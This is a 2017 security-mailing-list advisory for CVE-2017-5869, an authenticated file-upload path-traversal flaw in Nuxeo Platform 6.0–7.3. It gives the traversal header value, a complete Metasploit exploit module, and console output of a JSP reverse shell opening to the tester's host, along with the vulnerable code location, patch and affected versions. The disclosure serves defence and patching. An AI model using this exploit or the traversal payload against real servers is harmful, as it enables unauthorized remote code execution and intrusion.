[<prev] [next>] [day] [month] [year] [list]
Message-ID: <356c77ed-5daf-2662-27ca-96951c90f20e@sysdream.com>
Date: Thu, 23 Mar 2017 16:39:20 +0100
From: Sydream Labs <labs@...dream.com>
To: fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Cc: cve@...re.org
Subject: [CVE-2017-5869] Nuxeo Platform remote code execution
# Description
Nuxeo Platform is a content management system for enterprises (CMS).
It embeds an Apache Tomcat server, and can be managed through a web
interface.
One of its features allows authenticated users to import files to the
platform.
By crafting the upload request with a specific ``X-File-Name`` header,
one can successfuly upload a file at an arbitrary location of the server
file system.
It is then possible to upload a JSP script to the root directory of the
web application to execute commands on the remote host operating system.
Setting the value ``../../nxserver/nuxeo.war/shell.jsp`` to the
``X-File-Name`` header is a way to do so.
## Details
**CVE ID**: CVE-2017-5869
**Access Vector**: network
**Security Risk**: high
**Vulnerability**: CWE-434
**CVSS Base Score**: 8.8
**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# Proof of Concept
Here is a metasploit module to exploit this vulnerability:
```ruby
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Nuxeo Platform File Upload RCE",
'Description' => %q{
The Nuxeo Platform tool is vulnerable to an
authenticated remote code execution,
thanks to an upload module.
},
'License' => MSF_LICENSE,
'Author' => ['Ronan Kervella
<r.kervella@...dream.com>'],
'References' =>
[
['https://nuxeo.com/', '']
],
'Platform' => %w{linux},
'Targets' => [ ['Nuxeo Platform 6.0 to 7.3',
'Platform' => 'linux'] ],
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Payload' => {},
'DisclosureDate' => "",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the nuxeo
application', '/nuxeo']),
OptString.new('USERNAME', [true, 'A valid username', '']),
OptString.new('PASSWORD', [true, 'Password linked to the
username', ''])
], self.class)
end
def jsp_filename
@jsp_filename ||= Rex::Text::rand_text_alpha(8) + '.jsp'
end
def jsp_path
'nxserver/nuxeo.war/' + jsp_filename
end
def nuxeo_login
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/login.jsp')
)
fail_with(Failure::Unreachable, 'No response received from the
target.') unless res
session_cookie = res.get_cookies
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/nxstartup.faces'),
'cookie' => session_cookie,
'vars_post' => {
'user_name' => datastore['USERNAME'],
'user_password' => datastore['PASSWORD'],
'submit' => 'Connexion'
}
)
return session_cookie if res && res.code == 302 &&
res.redirection.to_s.include?('view_home.faces')
nil
end
def trigger_shell
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, jsp_filename)
)
fail_with(Failure::Unknown, 'Unable to get
#{full_uri}/#{jsp_filename}') unless res && res.code == 200
end
def exploit
print_status("Authenticating using
#{datastore['USERNAME']}:#{datastore['PASSWORD']}")
session_cookie = nuxeo_login
if session_cookie
payload_url = normalize_uri(target_uri.path, jsp_filename)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,
'/site/automation/batch/upload'),
'cookie' => session_cookie,
'headers' => {
'X-File-Name' => '../../' + jsp_path,
'X-Batch-Id' => '00',
'X-File-Size' => '1024',
'X-File-Type' => '',
'X-File-Idx' => '0',
'X-Requested-With' => 'XMLHttpRequest'
},
'ctype' => '',
'data' => payload.encoded
)
fail_with(Failure::Unknown, 'Unable to upload the payload')
unless res && res.code == 200
print_status("Executing the payload at
#{normalize_uri(target_uri.path, payload_url)}.")
trigger_shell
else
fail_with(Failure::Unknown, 'Unable to login')
end
end
end
```
Module output:
```bash
msf> use exploit/multi/http/nuxeo
msf exploit(nuxeo) > set USERNAME user1
USERNAME => user1
msf exploit(nuxeo) > set PASSWORD password
PASSWORD => password
msf exploit(nuxeo) > set rhost 192.168.253.132
rhost => 192.168.253.132
msf exploit(nuxeo) > set payload java/jsp_shell_reverse_tcp
payload => java/jsp_shell_reverse_tcp
msf exploit(nuxeo) > set lhost 192.168.253.1
lhost => 192.168.253.1
msf exploit(nuxeo) > exploit
[-] Handler failed to bind to 192.168.253.1:4444:- -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Authenticating using user1:password
[*] Executing the payload at /nuxeo/nuxeo/QBCefwxQ.jsp.
[*] Command shell session 1 opened (172.17.0.2:4444 ->
192.168.253.132:43279) at 2017-01-13 14:47:25 +0000
id
uid=1000(nuxeo) gid=1000(nuxeo)
groups=1000(nuxeo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),110(sambashare)
pwd
/var/lib/nuxeo/server
```
# Vulnerable code
The vulnerable code is located in the
`org.nuxeo.ecm.restapi.server.jaxrs.BatchUploadObject` class ([github
link](https://github.com/nuxeo/nuxeo/blob/b05dde789a6c0c7b5f361608eb6d6bd0fda31f36/nuxeo-features/rest-api/nuxeo-rest-api-server/src/main/java/org/nuxeo/ecm/restapi/server/jaxrs/BatchUploadObject.java#L150)),
where the header ``X-File-Name`` is not checked.
# Fix
Nuxeo provided a
[patch](https://github.com/nuxeo/nuxeo/commit/6b3113977ef6c2307f940849a2c196621ebf1892)
for this issue.
A hotfix release is also available for Nuxeo 6.0 (Nuxeo 6.0 HF35).
Please note that vulnerability does not affect Nuxeo versions above 7.3.
# Affected versions
* Nuxeo 6.0 (LTS 2014), released 2014-11-06
* Nuxeo 7.1 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-01-15
* Nuxeo 7.2 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-03-24
* Nuxeo 7.3 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-06-24
# Unaffected versions
* Nuxeo 6.0 HF35, released 2017-01-12
* Nuxeo 7.4 (Fast Track, obsoleted by Nuxeo 7.10), released 2015-10-02
* Nuxeo 7.10 (LTS 2015), released 2015-11-09
* Nuxeo 8.10 (LTS 2016), released 2016-12-06
# Credits
Ronan Kervella <r.kervella@...dream.com>
--
SYSDREAM Labs <labs@...dream.com>
GPG :
47D1 E124 C43E F992 2A2E
1551 8EB4 8CD9 D5B2 59A1
* Website: https://sysdream.com/
* Twitter: @sysdream
Download attachment "signature.asc" of type "application/pgp-signature" (848 bytes)
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
